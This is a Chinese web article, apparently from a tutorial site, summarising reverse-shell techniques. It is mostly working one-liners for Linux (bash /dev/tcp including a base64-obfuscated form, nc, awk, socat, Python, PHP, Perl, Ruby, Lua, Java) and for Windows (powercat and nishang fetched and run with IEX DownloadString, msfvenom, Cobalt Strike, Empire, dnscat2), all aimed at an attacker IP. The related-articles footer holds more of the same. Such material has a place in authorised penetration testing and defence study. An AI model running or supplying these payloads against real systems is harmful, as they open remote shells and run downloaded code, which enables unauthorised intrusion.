反弹shell的几种姿势小结

目录
  • Linux 反弹shell
  • Windows反弹shell

在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入。

反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步。所有姿势整理自网络,假设,攻击者主机为:192.168.99.242,本地监听1234端口,如有特殊情况以下会备注说明。

Linux 反弹shell

姿势一:bash反弹

bash -i >& /dev/tcp/192.168.99.242/1234 0>&1

base64版:bash -c '{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4Ljk5LjI0Mi8xMjM0IDA+JjE=}|{base64,-d}|{bash,-i}'

在线编码地址:http://www.jackson-t.ca/runtime-exec-payloads.html

其他版本:

exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5;done
exec /bin/sh 0</dev/tcp/192.168.99.242/1234 1>&0 2>&0

姿势二:nc反弹

nc -e /bin/bash 192.168.99.242 1234

姿势三:awk反弹

awk 'BEGIN{s="/inet/tcp/0/192.168.99.242/1234";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'

姿势四:telnet反弹

备注:需要在攻击主机上分别监听1234和4321端口,执行反弹shell命令后,在1234终端输入命令,4321查看命令执行后的结果。

telnet 192.168.99.242 1234 | /bin/bash | telnet 192.168.99.242 4321

姿势五:socat反弹

socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.99.242:1234

姿势六:Python反弹

python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('192.168.99.242',1234));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

姿势七:PHP反弹

php -r '$sock=fsockopen("192.168.99.242",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

姿势八:Perl反弹

perl -e 'use Socket;$i="192.168.99.242";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

姿势九:Ruby反弹

ruby -rsocket -e'f=TCPSocket.open("192.168.99.242",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

姿势十:Lua反弹

lua -e "require('socket');require('os');t=socket.tcp();t:connect('192.168.99.242','1234');os.execute('/bin/sh -i <&3 >&3 2>&3');"

姿势十一:JAVA反弹

public class Revs {
    /**
    * @param args
    * @throws Exception
    */
public static void main(String[] args) throws Exception {
        // TODO Auto-generated method stub
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.99.242/1234;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

保存为Revs.java文件,编译执行,成功反弹shell。

javac Revs.java
java Revs

Windows反弹shell

姿势一:nc反弹

netcat 下载:https://eternallybored.org/misc/netcat/

服务端反弹:nc 192.168.99.242 1234 -e c:\windows\system32\cmd.exe

姿势二:powershell反弹

powercat是netcat的powershell版本,功能免杀性都要比netcat好用的多。

PS C:\WWW>powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1'); powercat -c 192.168.99.242 -p 1234 -e cmd

下载到目标机器本地执行:

PS C:\WWW> Import-Module ./powercat.ps1PS C:\WWW> powercat -c 192.168.99.242 -p 1234 -e cmd

姿势三:MSF反弹shell

使用msfvenom生成相关Payload

msfvenom -l payloads | grep 'cmd/windows/reverse'
msfvenom -p cmd/windows/reverse_powershell LHOST=192.168.99.242 LPORT=1234

姿势四:Cobalt strike反弹shell

1、配置监听器:点击Cobalt Strike——>Listeners——>在下方Tab菜单Listeners,点击add。
2、生成payload:点击Attacks——>Packages——>Windows Executable,保存文件位置。
3、目标机执行powershell payload

姿势五:Empire反弹shell

usestager windows/launcher_vbs
info
set Listener test
execute

姿势六:nishang反弹shell

Reverse TCP shell:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com /samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1'); Invoke-PowerShellTcp -Reverse -IPAddress 10.1.1.210 -port 1234

Reverse UDP shell:

powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellUdp.ps1');Invoke-PowerShellUdp -Reverse -IPAddress 10.1.1.210 -port 1234

姿势七:Dnscat反弹shell

github项目地址:

https://github.com/iagox86/dnscat2

服务端:

ruby dnscat2.rb --dns "domain=lltest.com,host=xx.xx.xx.xx" --no-cache -e open -e open

目标主机:

powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1');Start-Dnscat2 -Domain lltest.com -DNSServer xx.xx.xx.xx

到此这篇关于反弹shell的几种姿势小结的文章就介绍到这了,更多相关反弹shell内容请搜索我们以前的文章或继续浏览下面的相关文章希望大家以后多多支持我们!

(0)

相关推荐

  • python模拟菜刀反弹shell绕过限制【推荐】

    有的时候我们在获取到目标电脑时候如果对方电脑又python 编译环境时可以利用python 反弹shell 主要用到python os库和sokect库 这里的服务端在目标机上运行 from socket import * from os import * s=socket(AF_INET,SOCK_STREAM)#IVP4 寻址 tcp协议 s.bind(('',6666))#补丁端口 s.listen(1)#开始监听一个队列 while True: sock,addr=s.accept()#

  • 详解NC反弹shell的几种方法

    假如ubuntu.CentOS为目标服务器系统 kali为攻击者的系统,ip为:192.168.0.4,开放7777端口且没被占用 最终是将ubuntu.CentOS的shell反弹到kali上 正向反弹shell ubuntu或者CentOS上面输入 nc -lvp 7777 -e /bin/bash kali上输入 nc ip 7777 正向反弹是目标机先执行nc命令,然后kali上再进行nc监听,即可反弹shell. 需要目标机安装nc. 反向反弹shell 方法1:bash反弹 bash

  • Linux下NC反弹shell命令(推荐)

    本机开启监听: nc -lvnp 4444 nc -vvlp 4444 目标机器开启反弹 bash版本: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 perl版本: perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p

  • 浅析Linux之bash反弹shell原理

    环境 攻击机:kali            ip:192.168.25.144 靶    机:centos      ip:192.168.25.142 过程 kali 监听本地8888端口 靶机 centos 写入 反弹shell 的命令 bash -i >& /dev/tcp/192.168.25.144/8888 0>&1 攻击机 kali 成功反弹shell 原理 反弹shell往往是在攻击者无法直接连接受害者的情况下进行的操作,原因有很多,例如目标是局域网,或者开启

  • php反弹shell实现代码

    非常无 奈,没想 到什么好的办法,后来灵光一闪.放一个php页面,里面 可以直接弹回来shell,何况在console下面操作比webshell方便的多,也不会出现超时之类的情况. 因为我不怎么懂php,于是就找了猥琐 的诺诺和小雨修改了一下代码,反弹代码是从phpspy2008里面提取的,但是不能直接用,需要修改成一个单独的php文件.上传之后,本地监听一个端 口,在代码里设置好反弹IP和端口,然后直接访问,就会弹回来一个shell. 声明,没啥技术含量,主要是用来方便.这样每次可以直接访问这

  • linux反弹shell的原理详解

    完整命令 反弹shell命令: bash -i >& /dev/tcp/10.0.0.1/8080 0>&1 bash -i > /dev/tcp/ip/port 0>&1 2>&1 利用nc反弹shell: nc -lvvp 12345 -t -e /bin/bash 原理 bash -i > /dev/tcp/ip/port 0>&1 2>&1 bash -i 打开一个交互式的bash &是为了区分

  • 反弹shell的几种姿势小结

    目录 Linux 反弹shell Windows反弹shell 在渗透过程中,往往因为端口限制而无法直连目标机器,此时需要通过反弹shell来获取一个交互式shell,以便继续深入. 反弹shell是打开内网通道的第一步,也是权限提升过程中至关重要的一步.所有姿势整理自网络,假设,攻击者主机为:192.168.99.242,本地监听1234端口,如有特殊情况以下会备注说明. Linux 反弹shell 姿势一:bash反弹 bash -i >& /dev/tcp/192.168.99.242

  • Python下载的11种姿势(小结)

    1.使用requests 你可以使用requests模块从一个URL下载文件. 考虑以下代码: 你只需使用requests模块的get方法获取URL,并将结果存储到一个名为"myfile"的变量中.然后,将这个变量的内容写入文件. 2.使用wget 你还可以使用Python的wget模块从一个URL下载文件.你可以使用pip按以下命令安装wget模块: 考虑以下代码,我们将使用它下载Python的logo图像. 在这段代码中,URL和路径(图像将存储在其中)被传递给wget模块的dow

  • Shell脚本中$符号的几种用法小结

    目录 Shell脚本中$符号的几种用法 1.1 引用变量 1.2 引用脚本或函数参数 1.3 上条命令的返回值 1.4 执行并获取命令输出 1.5 表达式求值 1.6 获取当前进程 ID 1.7 后台运行的最后一个进程 ID 1.8 获取 Shell 选项 shell中$(( )).$( ).``与${ }的区别 (1)$( )与``(反引号):返回括号中命令的结果 (2)${ }变量替换 最近在学习Shell,发现还有一些知识点需要巩固,这里写出来,加深下印象. 通常情况下,在工作中用的最多的

  • Shell 脚本自动输入密码的三种方式小结

    目录 方式一 方式二 方式三 注意,如果创建.sh文件后不可以执行,请执行sudo chmod 755 文件名.sh来修改权限. 方式一 使用 echo “密码” | (管道符) 使用场景: sudo 命令 在使用普通用户执行 root 命令时有时候会需要输入密码,并且在输入密码后一段时间不需要再次输入(但是不影响),这时候可以使用 echo "密码" | sudo 命令 比如我需要一键清空服务器,则可以创建一个clear.sh文件(假使我的密码是 123456): echo &quo

  • Python 获取windows桌面路径的5种方法小结

    这里介绍了5中python获取window桌面路径的方法,获取这个路径有什么用呢?一般是将程序生成的文档输出到桌面便于查看编辑. 前两个方法是通过注册表来获取当前windows桌面绝对路径,比较推荐使用第一个,因为不需要安装额外的扩展,其他的可以了解下 1.用内置的winreg(推荐) import _winreg def get_desktop(): key = _winreg.OpenKey(_winreg.HKEY_CURRENT_USER,r'Software\Microsoft\Win

  • TensorFlow设置日志级别的几种方式小结

    TensorFlow中的log共有INFO.WARN.ERROR.FATAL 4种级别.有以下几种设置方式. 1. 通过设置环境变量控制log级别 可以通过环境变量TF_CPP_MIN_LOG_LEVEL进行设置,TF_CPP_MIN_LOG_LEVEL的不同值的含义分别如下: Level Level for Humans Level Description 0 DEBUG all messages are logged (Default) 1 INFO INFO messages are no

  • SpringBoot+Mybatis实现Mapper接口与Sql绑定几种姿势

    目录 I. 环境准备 1. 数据库准备 2. 项目环境 II. 实例演示 1. 实体类,Mapper接口 2. sql文件 3. Mapper与Sql绑定 3.1 默认方式 3.2 SpringBoot配置 3.3 Mapper标签 3.4 SqlSessionFactory 4. 小结 III. 不能错过的源码和相关知识点 通常我们在使用Mybatis进行开发时,会选择xml文件来写对应的sql,然后将Mapper接口与sql的xml文件建立绑定关系,然后在项目中调用mapper接口就可以执行

  • 浅谈Mybatis之参数传递的几种姿势

    目录 I. 环境配置 1. 项目配置 2. 数据库表 II. 参数传递 1. @Param注解 2. 单参数 3. 多参数 3. Map传参 4. POJO对象 5. 简单参数 + Map参数 6.小结 III. 不能错过的源码和相关知识点 在mybatis的日常开发中,mapper接口中定义的参数如何与xml中的参数进行映射呢?除了我们常用的@Param注解之外,其他的方式是怎样的呢? I. 环境配置 我们使用SpringBoot + Mybatis + MySql来搭建实例demo spri

  • Java中List转Map List实现的几种姿势

    今天介绍一个实用的小知识点,如何将List转为Map<Object, List<Object>> 1. 基本写法 最开始介绍的当然是最常见.最直观的写法,当然也是任何限制的写法 // 比如将下面的列表,按照字符串长度进行分组 List<String> list = new ArrayList<>(); list.add("hello"); list.add("word"); list.add("come&qu

随机推荐